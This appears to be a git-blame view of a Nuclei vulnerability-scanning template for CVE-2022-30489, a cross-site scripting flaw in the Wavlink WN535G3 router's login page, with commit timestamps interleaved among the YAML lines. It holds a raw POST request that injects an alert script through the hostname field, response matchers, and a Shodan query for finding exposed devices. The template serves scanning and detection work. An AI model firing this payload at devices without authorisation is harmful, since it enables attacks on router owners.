2022-05-14 07:30:47 +00:00
|
|
|
id: CVE-2022-30489
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Wavlink Wn535g3 - POST XSS
|
|
|
|
author: For3stCo1d
|
2022-05-19 08:51:13 +00:00
|
|
|
severity: medium
|
2022-05-18 20:58:07 +00:00
|
|
|
description: |
|
|
|
|
WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi.
|
2022-05-14 07:30:47 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/badboycxcc/XSS-CVE-2022-30489
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-30489
|
2022-07-04 09:01:16 +00:00
|
|
|
- https://github.com/badboycxcc/XSS
|
2022-05-24 08:19:30 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2022-30489
|
|
|
|
cwe-id: CWE-79
|
2022-05-14 07:30:47 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.title:"Wi-Fi APP Login"
|
2022-05-17 20:46:49 +00:00
|
|
|
verified: "true"
|
2022-05-15 11:00:27 +00:00
|
|
|
tags: xss,cve2022,wavlink,cve,router,iot
|
2022-05-14 07:30:47 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /cgi-bin/login.cgi HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '<script>alert(document.domain);</script>'
|
2022-05-15 11:00:27 +00:00
|
|
|
- 'parent.location.replace("http://")'
|
|
|
|
condition: and
|
2022-05-14 07:30:47 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|